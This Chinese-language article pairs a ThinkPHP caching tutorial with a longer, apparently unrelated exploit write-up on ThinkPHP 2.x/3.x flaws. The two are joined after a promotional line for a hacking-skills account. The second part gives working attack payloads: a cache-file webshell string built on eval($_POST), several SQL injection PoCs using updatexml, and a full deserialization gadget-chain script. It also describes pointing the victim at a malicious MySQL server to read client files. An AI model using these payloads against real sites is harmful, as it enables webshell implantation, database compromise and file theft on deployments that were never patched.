、為何要使用緩存技術?
作用:對于一個日訪問量達到百萬級的門戶網站,速度快慢很大程度上決定了網站的收入。除了優化網站內容顯示策略外,提升網站速度最好的方法便是“靜態緩存/動態緩存”技術。
靜態緩存:動態頁面轉換成靜態頁面,速度將提升2至10倍,如:文件緩存技術(傳統手段);如果靜態頁面能夠緩存到內存里,速度將提升2至3個數量級,如:memcache緩存技術(流行);
動態緩存:即,局部緩存,進將不需要實時更新的數據緩存,并不是整個頁面;
二、緩存的方法主要要哪些?
靜態緩存:緩存的是整個頁面;
動態緩存:緩存的是頁面的局部,即,局部緩存;
局部不緩存:利用js、Ajax(異步)實現緩存頁面的局部不緩存
三、基于ThinkPHP的緩存實現
(1)靜態緩存、動態緩存、局部不緩存的含義/用途
靜態緩存:生成靜態頁面——緩存的是整個頁面;
動態緩存:僅對數據庫中的數據進行了緩存,即“通過動態緩存,不需要再讀取數據庫了,直接通過緩存文件來調取相應數據”;
局部不緩存:實現緩存頁面中某一部分不緩存,如:登錄/退出、點擊量;
(2)靜態緩存的實現,在config.php文件中作如下配置:
//開啟靜態緩存(默認保存在Html/文件夾中)
'HTML_CACHE_ON'=>true,
'HTML_CACHE_RULES'=> array(
//'*'=>array('{$_SERVER.REQUEST_URI|md5}','30'), //根據當前的URL進行緩存
/**
* …更多操作的靜態規則
* '控制器名/方法名' => array('緩存文件的名稱','靜態緩存有效期','附加規則'),
* {:module}:控制器名
* {:action}:方法名
* {id}:get參數值
*/
'Show:index'=>array('{:module}_{:action}_{id}',0),//0:永久有效
),
(3)動態緩存的實現:兩種方式(文件緩存、memecache緩存)
1、文件緩存(默認方式)
ThinkPHP的S()函數將“從數據庫中獲得的數據”緩存到“文件”中;
緩存文件默認保存到“Runtime/Temp/”文件夾中;
存數據格式:S('緩存名稱','緩存數據','緩存時間');
存數據:S('index_list',$list,10); // $list:從數據庫中讀取的數據
讀數據:S('index_list'); // 直接從緩存文件讀取,不再經過數據庫
2、memecache緩存
第一步:安裝Memcached
第二步:memecache緩存配置(在config.php文件中作如下配置:)
//開啟動態緩存(memecache緩存)
'DATA_CACHE_TYPE'=>'Memcache',//緩存類型
'MEMCACHE_HOST'=>'localhost',//本地服務器地址
'MEMCACHE_PORT'=>11211,//默認端口
'DATA_CACHE_TIME'=>3600,//全局緩存時間:特別注意這里不要加引號,否則將不起作用!!!
第三步:通過S()函數實現“動態緩存”
ThinkPHP的S()函數將“從數據庫中獲得的數據”緩存到“內存”中;
存數據:S('index_list',$list,10);
讀數據:S('index_list')
3、redis緩存
第一步:安裝redis及php-redis拓展
詳見另外兩篇文章
第二步:redis緩存配置
//動態緩存配置:
'DATA_CACHE_TIME'=>3600,
//開啟動態緩存(Redis緩存)
'DATA_CACHE_TYPE'=>'Redis',
'REDIS_HOST'=>'127.0.0.1',
'REDIS_PORT'=>6379,//默認端口
第三步:通過cache()函數實現“動態緩存”
1 緩存初始化
cache(array('type'=>'xcache','expire'=>60));
2 緩存設置
cache('a',$value);
3 緩存讀取
$value = cache('a');
4 緩存刪除
cache('a',null);
拓展:使用查詢緩存方式實現動態緩存
對于及時性要求不高的數據查詢,我們可以使用查詢緩存功能來提高性能,而且無需自己使用緩存方法進行緩存和獲取。
新版內置的查詢緩存功能支持所有的數據庫,并且支持所有的緩存方式和有效期。
在使用查詢緩存的時候,只需要調用Model類的cache方法,例如:
$Model->cache(true)->select();
如果使用了cache(true) ,則在查詢的同時會根據當前的查詢SQL生成查詢緩存,默認情況下緩存方式采用DATA_CACHE_TYPE 參數設置的緩存方式(系統默認值為File表示采用文件方式緩存),緩存有效期是DATA_CACHE_TIME 參數設置的時間,也可以單獨制定查詢緩存的緩存方式和有效期:
$Model->cache(true,60,'xcache')->select();
表示當前查詢緩存的緩存方式為xcache,并且緩存有效期為60秒。
同樣的查詢,如果沒有使用cache方法,則不會獲取或者生成任何緩存,即便是之前調用過Cache方法。
查詢緩存只是供內部調用,如果希望查詢緩存開放給其他程序調用,可以指定查詢緩存的Key,例如:
$Model->cache('cache_name',60)->select();
則可以在外部通過S方法直接獲取查詢緩存的內容,
$value = S('cache_name');
除了select方法之外,查詢緩存還支持find和getField方法,以及他們的衍生方法(包括統計查詢和動態查詢方法)。具體應用的時候可以根據需要選擇緩存方式和緩存有效期。
(4)動態緩存應用實例
public function index(){
if(!$list=S('index_list')){
//echo 111;//測試是否進行了動態緩存
$list=M('cate')->where(array('pid'=>0))->order('sort')->select();
S('index_list',$list,10);
}
$this->cate=$list;
$this->display();
}
(5)局部不緩存的實現:兩種方式(JavaScript、異步)
1、JavaScript
前臺模板:
<span>點擊量<script src="{:U('Show/hitsCount',array('id'=>$blog['id']))}"></script>次</span>
后臺控制器:
public function hitsCount(){
$id=I('id');
//點擊次數:每次打開博文后點擊次數+1
//(當然也可以設置一個IP地址只能增加一次:記錄用戶的IP就顯得很重要了)
$where=array('id'=>$id);
$hits=M('blog')->where($where)->getField('hits');
M('blog')->where($where)->setInc('hits');//如果增2:setInc('hits',2)
echo 'document.write('.$hits.')';//這一步很關鍵:獲得的數據賦值給前臺靜態緩存頁面
}
2、異步
詳見本教程中的文章:異步操作(Ajax請求)
迎搜索公眾號:白帽子左一
每天分享更多黑客技能,工具及體系化視頻教程
概述
網站為了提高訪問效率往往會將用戶訪問過的頁面存入緩存來減少開銷。
而Thinkphp 在使用緩存的時候是將數據序列化,然后存進一個 php 文件中,這使得命令執行等行為成為可能。
就是緩存函數設計不嚴格,導致攻擊者可以插入惡意代碼,直接getshell。
redhat6+apache2+Mysql+php5+thinkphp3.2.3
將 application/index/controller/Index.php 文件中代碼更改如下:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
訪問 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();//, 即可將 webshell 等寫入緩存文件。
先找到Cache.class.php文件,也就是緩存文件,關鍵代碼:
/**
* 連接緩存
* @access public
* @param string $type 緩存類型
* @param array $options 配置數組
* @return object
*/
public function connect($type='',$options=array()) {
if(empty($type)) $type = C('DATA_CACHE_TYPE');
$class = strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));
if(class_exists($class))
$cache = new $class($options);
else
E(L('_CACHE_TYPE_INVALID_').':'.$type);
return $cache;
這里讀入配置,獲取實例化的一個類的路徑,路徑是:Think\Cache\Driver\
這里我嘗試了var_dump($class)和echo $class直接瀏覽器訪問Cache.class.php都無法像那篇帖子一樣打印出$class,后來才發現添加數據寫入緩存頁面跳轉才打印了Think\Cache\Driver\File。
關鍵代碼:
/**
* 取得緩存類實例
* @static
* @access public
* @return mixed
*/
static function getInstance($type='',$options=array()) {
static $_instance = array();
$guid = $type.to_guid_string($options);
if(!isset($_instance[$guid])){
$obj = new Cache();
$_instance[$guid] = $obj->connect($type,$options);
}
return $_instance[$guid];
}
public function __get($name) {
return $this->get($name);
}
public function __set($name,$value) {
return $this->set($name,$value);
}
public function __unset($name) {
$this->rm($name);
}
public function setOptions($name,$value) {
$this->options[$name] = $value;
}
public function getOptions($name) {
return $this->options[$name];
}
這里實例化了那個類,我們重點關注set方法,接著直接找到這個路徑下的File.class.php吧。
關鍵代碼:
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//數據壓縮
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {//開啟數據校驗
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 記錄緩存隊列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}
這就是寫入緩存的set方法,對傳入的數據進行了序列化和壓縮,
重點看這兩句:
$data = “<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>”;
$result = file_put_contents($filename,$data);
簡單拼接一下就寫入文件了,Bug就出現在這里,這時來看看我們
payload:
%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f
解碼后就是:
換行+eval(%_POST[‘tpc’]);//
就寫入惡意代碼了。
最后看看文件名:
/**
* 取得變量的存儲文件名
* @access private
* @param string $name 緩存變量名
* @return string
*/
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 使用子目錄
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
$dir .= $name{$i}.'/';
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
文件名就是md5加密值。
影響版本:Thinkphp 2.x、3.0-3.1
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
這段代碼主要就是用explode把url拆開,然后再用implode函數拼接起來,接著帶入到preg_replace里面。
preg_replace的/e模式,和php雙引號都能導致代碼執行的。
這句正則簡化后就是 /(\w+)\/([^\/\/]+)/e
注:\w+ 表示匹配任意長的[字母數字下劃線]字符串,然后匹配 / 符號,再匹配除了/符號以外的字符。其實就是匹配連續的兩個參數。
eg:www.dawn.com/index.php?s=1/2/3/4/5/6
每次匹配 1和2,3和4,5和6。、
是取第一個括號里的匹配結果,是取第二個括號里的匹配結果
也就是 取的是 1 3 5, 取的是 2 4 6。
那么就是連續的兩個參數,一個被當成鍵名,一個被當成鍵值,傳進了var數組里面。
而雙引號是存在在 外面的,那么就說明我們要控制的是偶數位的參數。
環境較為難找,本地模擬一下
本地模擬:
<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>
thinkphp是國內著名的php開發框架,有完善的開發文檔,基于MVC架構,
其中Thinkphp3.2.3是目前使用最廣泛的thinkphp版本,雖然已經停止新功能的開發,但是普及度高于新出的thinkphp5系列
由于框架實現安全數據庫過程中在update更新數據的過程中存在SQL語句的拼接,并且當傳入數組未過濾時導致出現了SQL注入。
thinkphp系列框架過濾表達式注入多半采用I函數去調用think_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
一般按照官方的寫法,thinkphp提供了數據庫鏈式操作,其中包含連貫操作和curd操作。
在進行數據庫CURD操作去更新數據的時候,利用update數據操作。
where來制定主鍵的數值,save方法去更新變量傳進來的參數到數據庫的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
通過where方法獲取where()鏈式中進來的參數值,并對參數進行檢查,是否為字符串,tp框架默認是對字符串進行過濾的。
public function save($data='',$options=array()) {
if(empty($data)) {
// 沒有傳遞數據,獲取當前數據對象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置數據
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 數據處理
$data = $this->_facade($data);
if(empty($data)){
// 沒有數據則不執行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表達式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主鍵數據 則自動作為更新條件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加復合主鍵支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少復合主鍵數據則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果沒有任何更新條件則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
再來到save方法,通過前面的數據處理解析服務端數據庫中的數據字段信息,字段數據類型,再到_parseOptions 表達式分析,獲取到表名,數據表別名,記錄操作的模型名稱,再去調用回調函數進入update。
我們這里可以直接看框架的where子函數,之前網上公開的exp表達式注入就是從這里分析出來的結論:Thinkphp/Library/Think/Db/Driver.class.php
// where子單元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//對字符串類型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
其中除了exp能利用外還有一處bind,而bind可以完美避開了think_filter:
elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
這里由于拼接了$val參數的形式造成了注入,但是這里的bind表達式會引入:符號參數綁定的形式去拼接數據,通過白盒對幾處CURD操作函數進行分析定位到update函數,insert函數會造成sql注入,于是回到上面的update函數。
Thinkphp/Library/Think/Db/Driver.class.php
/**
* 更新記錄
* @access public
* @param mixed $data 數據
* @param array $options 表達式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 單表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
可以繼續跟進execute函數。
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
這里有處對$this->queryStr進行字符替換的操作,具體是怎么更新的,我們可以進一步操作一下。
Application/Home/Controller/UserController.class.php
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
通過這個代碼,根據進來的id更新用戶的名字和錢,構造一個簡單一個poc:
id[]=bind&id[]=1’&money[]=1123&user=liao 當走到execute函數時sql語句為
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后$that = $this。
接下來下面的替換操作是將”:0”替換為外部傳進來的字符串,這里就可控了。
替換后的語句就會發現之前的user參數為:0
然后被替換為了我們傳進來的東西(liao),這樣就把:替換掉了。
替換后的語句:
UPDATE 'member' SET 'user'='liao' WHERE 'id' = :1'
但是id后面的 :1 是替換不掉的。
那么我們將id[1]數組的參數變為0嘗試一下。
測試代碼
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
Poc:id[]=bind&id[]=0%27&money[]=1123&user=liao
這樣就造成了注入。繼續構造poc。
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
select 和 find 函數
以find函數為例進行分析(select代碼類似),該函數可接受一個$options參數,作為查詢數據的條件。
當$options為數字或者字符串類型的時候,直接指定當前查詢表的主鍵作為查詢字段:
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
同時提供了對復合主鍵的查詢,看到判斷:
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根據復合主鍵查詢
......
}
要進入復合主鍵查詢代碼,需要滿足$options為數組同時$pk主鍵也要為數組,但這個對于表只設置一個主鍵的時候不成立。
那么就可以使$options為數組,同時找到一個表只有一個主鍵,就可以繞過兩次判斷,直接進入_parseOptions 進行解析。
if (is_numeric($options) || is_string($options)) {//$options為數組不進入
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根據復合主鍵查找記錄
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) &&
is_array($pk)) { //$pk不為數組不進入
......
}
// 總是查找一條記錄
$options['limit'] = 1;
// 分析表達式
$options = $this->_parseOptions($options); //解析表達式
// 判斷查詢緩存
.....
$resultSet = $this->db->select($options); //底層執行
之后跟進_parseOptions方法,(分析見代碼注釋)
if (is_array($options)) { //當$options為數組的時候與$this->options數組進行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這里
// 自動獲取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定數據表 則重新獲取字段列表 但不支持類型檢測
$fields = $this->getDbFields(); //設置了進這里
}
// 數據表別名
if (!empty($options['alias'])) {//判斷是否設置了數據表別名
$options['table'] .= ' ' . $options['alias']; //注意這里,直接拼接了
}
// 記錄操作的模型名稱
$options['model'] = $this->name;
// 字段類型驗證
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不為數組或沒有設置不進這里
// 對數組查詢條件進行字段類型檢查
......
}
// 查詢過后清空sql表達式組裝 避免影響下次查詢
$this->options = array();
// 表達式過濾
$this->_options_filter($options);
return $options;
$options我們可控,那么就可以控制為數組類型,傳入$options[‘table’]或$options[‘alias’]等等,只要提層不進行過濾都是可行的。
同時我們可以不設置$options[‘where’]或者設置$options[‘where’]的值為字符串,可繞過字段類型的驗證。
可以看到在整個對$options的解析中沒有過濾,直接返回,跟進到底層ThinkPHP\Libray\Think\Db\Diver.class.php,找到select方法,繼續跟進最后來到parseSql方法,對$options的值進行替換,解析。
因為$options[‘table’]或$options[‘alias’]都是由parseTable函數進行解析,跟進:
if (is_array($tables)) {//為數組進
// 支持別名定義
......
} elseif (is_string($tables)) {//不為數組進
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);
當我們傳入的值不為數組,直接進行解析返回帶進查詢,沒有任何過濾。
同時$options[‘where’]也一樣,看到parseWhere函數
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串條件
$whereStr = $where; //直接返回了,沒有任何過濾
} else {
// 使用數組表達式
......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
delete 函數有些不同,主要是在解析完$options之后,還對$options[‘where’]判斷了一下是否為空,需要我們傳一下值,使之不為空,從而繼續執行刪除操作。
// 分析表達式
$options = $this->_parseOptions($options);
if (empty($options['where'])) { //注意這里,還判斷了一下$options['where']是否為空,為空直接返回,不再執行下面的代碼。
// 如果條件為空 不進行刪除操作 除非設置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回刪除記錄個數
return $result;
下載地址:http://www.thinkphp.cn/download/610.html
自己配置一下數據庫路徑:
test_thinkphp_3.2.3\Application\Common\Conf\config.php
自己安裝,安裝完以后訪問一下:
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/index
沒有報錯就可以了。
開啟debug 方便本地測試
路徑:test_thinkphp_3.2.3\index.php
路徑:test_thinkphp_3.2.3\Application\Common\Conf\config.php
3處注入利用方法都是一樣的,所以就演示一個 find 注入
Select 與 delete 注入同理
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3%27aaa
明顯轉成整型,無法進行注入了。
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3
這樣就可以直接控制where了。
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3%27
ThinkPHP在處理order by排序時,當排序參數可控且為關聯數組(key-value)時,
由于框架未對數組中key值作安全過濾處理,攻擊者可利用key構造SQL語句進行注入,該漏洞影響ThinkPHP 3.2.3、5.1.22及以下版本。
ThinkPHP3.2.3漏洞代碼(/Library/Think/Db/Driver.class.php):
從上面漏洞代碼可以看出,當$field參數為關聯數組(key-value)時,key值拼接到返回值中,SQL語句最終繞過了框架安全過濾得以執行。
測試代碼
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index(){
$data=array();
$data['username']=array('eq','admin');
$order=I('get.order');
$m=M('user')->where($data)->order($order)->find();
dump($m);
}
}
構造poc:?order[updatexml(1,concat(0x3e,user()),1)]=1
EXP表達式支持SQL語法查詢 sql注入非常容易產生。
$map['id'] = array('in','1,3,8');
可以改成:
$map['id'] = array('exp',' IN (1,3,8) ');
exp查詢的條件不會被當成字符串,所以后面的查詢條件可以使用任何SQL支持的語法,包括使用函數和字段名稱。
查詢表達式不僅可用于查詢條件,也可以用于數據更新。
$User = M("User"); // 實例化User對象
// 要修改的數據對象屬性賦值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用戶的積分加1
$User->where('id=5')->save($data); // 根據條件保存修改的數據
表達式查詢
跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊條件表達式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查詢字段的安全過濾
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多條件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定義查詢字段
$array = explode('|',$key);
$str = array();
parseSQl組裝 替換表達式:
parseKey()
protected function parseKey(&$key) {
$key = trim($key);
if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
$key = '`'.$key.'`';
}
return $key;
}
filter_exp
function filter_exp(&$value){
if (in_array(strtolower($value),array('exp','or'))){
$value .= ' ';
}
}
I函數中重點代碼:
// 取值操作
$data = $input[$name];
is_array($data) && array_walk_recursive($data,'filter_exp');
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}elseif(is_int($filters))
$filters = array($filters);
}
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data)?array_map_recursive($filter,$data):$filter($data); // 參數過濾
}else{
$data = filter_var($data,is_int($filter)?$filter:filter_id($filter));
if(false === $data) {
return isset($default)?$default:NULL;
}
}
}
}
}else{ // 變量默認值
$data = isset($default)?$default:NULL;
}
那么可以看到這里是沒有任何有效的過濾的 即時是filter_exp,如果寫的是
filter_exp在I函數的fiter之前,所以如果開發者這樣寫I(‘get.id’, ‘’, ‘trim’),那么會直接清除掉exp后面的空格,導致過濾無效。
返回:
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
直接在IndexController.class.php中創建一個測試代碼
public function index(){
$map=array();
$map['id']=$_GET['id'];
$data=M('users')->where($map)->find();
dump($data);
}
數據庫配置:
Poc:
?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)
首先全局搜索 destruct, 這里的 $this->img 可控,可以利用其來調用 其他類的destroy() 方法,或者可以用的call() 方法,__call() 方法并沒有可以利用的
那就去找 destroy() 方法。
注意這里,destroy() 是有參數的,而我們調用的時候沒有傳參,這在php5中是可以的,只發出警告,但還是會執行。
但是在php7 里面就會報出錯誤,不會執行。
所以漏洞需要用php5的環境。
繼續尋找可利用的delete()方法。
在Think\Model類即其繼承類里,可以找到這個方法,還有數據庫驅動類中也有這個方法的,thinkphp3的數據庫模型類的最終是會調用到數據庫驅動類中的。
先看Model類中。
還需要注意這里!!如果沒有 $options[‘where’] 會直接return掉。
跟進 getPK() 方法
$pk 可控 $this->data 可控 。
最終去驅動類的入口在這里
下面是驅動類的delete方法
我們在一開始調用Model類的delete方法的時候,傳入的參數是
$this->sessionName.$sessID
而后面我們執行的時候是依靠數組的,數組是不可以用 字符串連接符的。參數控制不可以利用$this->sessionName。
但是可以令其為空(本來就是空),會進入Model 類中的delete方法中的第一個if分支,然后再次調用delete方法,把 $this->data[$pk] 作為參數傳入,這是我們可以控制的!
看代碼也不難發現注入點是在 $table 這里,也就是 $options[‘table’],也就是 $this->data[$this->pk[‘table’]];
直接跟進 driver類中的execute() 方法
跟進 initConnect() 方法
跟進connect() 方法
數據庫的連接時通過 PDO 來實現的,可以堆疊注入(PDO::MYSQL_ATTR_MULTI_STATEMENTS => true ) 需要指定這個配置。
這里控制 $this->config 來連接數據庫。
driver類時抽象類,我們需要用mysql類來實例化。
到這里一條反序列化觸發sql注入的鏈子就做好了。
poc
<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->sessionName=null;
$this->handle= new Model();
}
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $options;
protected $data;
protected $db;
public function __construct(){
$this->options['where']='';
$this->pk='jiang';
$this->data[$this->pk]=array(
"table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
"where"=>"1=1"
);
$this->db=new Mysql();
}
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options ;
protected $config ;
public function __construct(){
$this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 開啟才能讀取文件
$this->config= array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
這里可以連接任意服務器,所以還有一種利用方式,就是MySQL惡意服務端讀取客戶端文件漏洞。
利用方式就是我們需要開啟一個惡意的mysql服務,然后讓客戶端去訪問的時候,我們的惡意mysql服務就會讀出客戶端的可讀文件。
這里的hostname 是開啟的惡意mysql服務的地址以及3307端口
下面搭建惡意mysql服務
修改port 和filelist
